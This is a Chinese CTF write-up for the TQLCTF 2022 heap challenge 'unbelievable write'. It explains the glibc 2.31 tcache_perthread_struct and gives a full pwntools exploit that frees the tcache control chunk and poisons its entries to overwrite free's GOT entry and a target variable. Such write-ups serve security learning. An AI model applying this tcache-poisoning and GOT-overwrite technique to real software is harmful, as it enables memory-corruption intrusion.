[TQLCTF 2022]unbelievable write
参考的大佬的wp
PS:这题不知道为什么没打通 NSS 的远程,本地是通了


知识点:
每个 thread 都会维护一个 tcache_perthread_struct ,它是整个 tcache 的管理结构,一共有 TCACHE_MAX_BINS 个计数器和 TCACHE_MAX_BINStcache_entry
这个结构在 tcache_init 函数中被初始化在堆上,如果能控制这个堆块就可以控制整个 tcache

  • 早期版本(如 glibc 2.26-2.30)大小为 0x250 字节:counts 占 0x40 字节(32 个 uint16_t,TCACHE_MAX_BINS=32),entries 占 0x210 字节(32 个指针,64 位系统每个指针 8 字节)。
  • 高版本(如 glibc 2.31+)扩展为 0x290 字节:TCACHE_MAX_BINS增至 64,counts 占 0x80 字节,entries占 0x210 字节(部分版本可能调整)。

准备


64 位,开了 NXcanary 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int n3; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
write(1, "> ", 2uLL);
n3 = read_int();
if ( n3 != 3 )
break;
c3();
}
if ( n3 > 3 )
{
LABEL_10:
puts("wrong choice!");
}
else if ( n3 == 1 )
{
c1();
}
else
{
if ( n3 != 2 )
goto LABEL_10;
c2();
}
}
}

开头一个初始化操作函数 init
接着进入循环,有三个选项

init函数

1
2
3
4
5
6
7
8
unsigned int init()
{
ptr = (__int64)malloc(0x10uLL);
setlinebuf(stdin);
setlinebuf(stdout);
setlinebuf(stderr);
return alarm(0x3Cu);
}

这里创建了一块大小为 0x10 的堆块存储到 ptr

1-c1(add)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void c1()
{
unsigned int size; // [rsp+4h] [rbp-Ch]
void *size_4; // [rsp+8h] [rbp-8h]

size = read_int();
if ( size <= 0xF || size > 0x1000 )
{
puts("no!");
}
else
{
size_4 = malloc(size);
readline(size_4, size);
free(size_4);
}
}

这里限制堆块大小,接收输入的大小后,分配相应大小合适的内存块,读取用户数据到该内存块后立即释放

2-c2(delete)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void c2()
{
__int64 ptr; // rbx
int v1; // eax

if ( golden == 1 )
{
golden = 0LL;
ptr = ptr;
v1 = read_int();
free((void *)(ptr + v1));
}
else
{
puts("no!");
}
}

这里释放的是 ptr+offset 的堆块

3-c3(后门函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 c3()
{
int fd; // [rsp+Ch] [rbp-54h]
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( target != 0xFEDCBA9876543210LL )
{
puts("you did it!");
fd = open("./flag", 0, 0LL);
read(fd, buf, 0x40uLL);
puts(buf);
exit(0);
}
puts("no write! try again?");
return __readfsqword(0x28u) ^ v3;
}

target 不等于 0xFEDCBA9876543210 时,获得 flag

思路:

因为当 target 不等于 0xFEDCBA9876543210 时,获得 flag,所以我们需要篡改 target
这题添加完堆块后会立刻释放,并且题目版本是 2.31,所以需要考虑 tcache
tcache 中有一个 tcache_perthread_struct 管理结构,这个结构在 tcache_init 函数中被初始化在堆上,如果能控制这个堆块就可以控制整个 tcache
这里我们就可以控制这结构,先修改 free_got ,使得创建堆块不会立即删除,在修改 target 值,获得 flag
因为没有修改函数,所以利用添加函数,修改堆块数据
先删除 tcache struct 这个管理堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
# io=remote('node4.anna.nssctf.cn',28608)
io= process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

def add(size,content):
io.sendlineafter("> ", "1")
io.sendline(str(size))
io.sendline(content)

def delete(index):
io.sendlineafter("> ", "2")
io.sendline(str(index))

def backdoor():
io.sendlineafter("> ","3")

free_got=elf.got['free']
log.success('free_got= '+hex(free_got))
puts_plt=elf.plt['puts']
log.success('puts_plt= '+hex(puts_plt))

delete(-0x290)

因为这里删除的是 ptr+offset 的堆块,所以值是 -0x290

删除后,通过添加修改数据,把第二块堆块指向 free_got(第 0 块是 ptr )

1
2
3
4
5
6
7
8
free_got=elf.got['free']
log.success('free_got= '+hex(free_got))
puts_plt=elf.plt['puts']
log.success('puts_plt= '+hex(puts_plt))

delete(-0x290)

add(0x280,p64(0x1)*20+p64(free_got))

因为 counts 占 0x80 字节,并且考虑第 0 块堆块的空间,所以填充 20 大小的数据

此时第 1 块堆块已经改为 free_got 的地址
我们添加 1 块,并且改 free_got 的内容为 puts 函数地址

1
2
3
4
5
6
7
8
9
free_got=elf.got['free']
log.success('free_got= '+hex(free_got))
puts_plt=elf.plt['puts']
log.success('puts_plt= '+hex(puts_plt))

delete(-0x290)

add(0x280,p64(0x1)*20+p64(free_got))
add(0x50,p64(puts_plt)+p64(0x401040))


这里有一个小问题是,不能只改 free_got 的内容为 puts 函数地址,还需要加一个地址

没加会产生这个报错
并且这个地址影响的是 free_got 下面的 puts_got
这里是先看了其他的大佬的 wp ,直接知道了这个地址,找大佬解答了一下,大佬的解释是这样子
0x401040 这个地址可以是因为这个地址处经过了两次跳转,最后返回了 got 表处,为空值,不会影响
运用其他值会偏移,导致程序报错或最后没打通



改完 free_got 后,就用同样的方法指向 target,随便改一个值

1
2
3
4
5
6
7
8
9
10
11
12
free_got=elf.got['free']
log.success('free_got= '+hex(free_got))
puts_plt=elf.plt['puts']
log.success('puts_plt= '+hex(puts_plt))

delete(-0x290)

add(0x280,p64(0x1)*20+p64(free_got))
add(0x50,p64(puts_plt)+p64(0x401040))

add(0x280,p64(0x11111111)*20+p64(0x404080))
add(0x50,p64(0x1))


最后调用选项 3 触发连接,获得 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
free_got=elf.got['free']
log.success('free_got= '+hex(free_got))
puts_plt=elf.plt['puts']
log.success('puts_plt= '+hex(puts_plt))

delete(-0x290)

add(0x280,p64(0x1)*20+p64(free_got))
add(0x50,p64(puts_plt)+p64(0x401040))

add(0x280,p64(0x11111111)*20+p64(0x404080))
add(0x50,p64(0x1))

backdoor()

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
# io=remote('node4.anna.nssctf.cn',28608)
io= process('/home/motaly/p')
elf=ELF('/home/motaly/p')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

def add(size,content):
io.sendlineafter("> ", "1")
io.sendline(str(size))
io.sendline(content)

def delete(index):
io.sendlineafter("> ", "2")
io.sendline(str(index))

def backdoor():
io.sendlineafter("> ","3")

free_got=elf.got['free']
log.success('free_got= '+hex(free_got))
puts_plt=elf.plt['puts']
log.success('puts_plt= '+hex(puts_plt))

delete(-0x290)

add(0x280,p64(0x1)*20+p64(free_got))
add(0x50,p64(puts_plt)+p64(0x401040))

add(0x280,p64(0x11111111)*20+p64(0x404080))
add(0x50,p64(0x1))

backdoor()

io.interactive()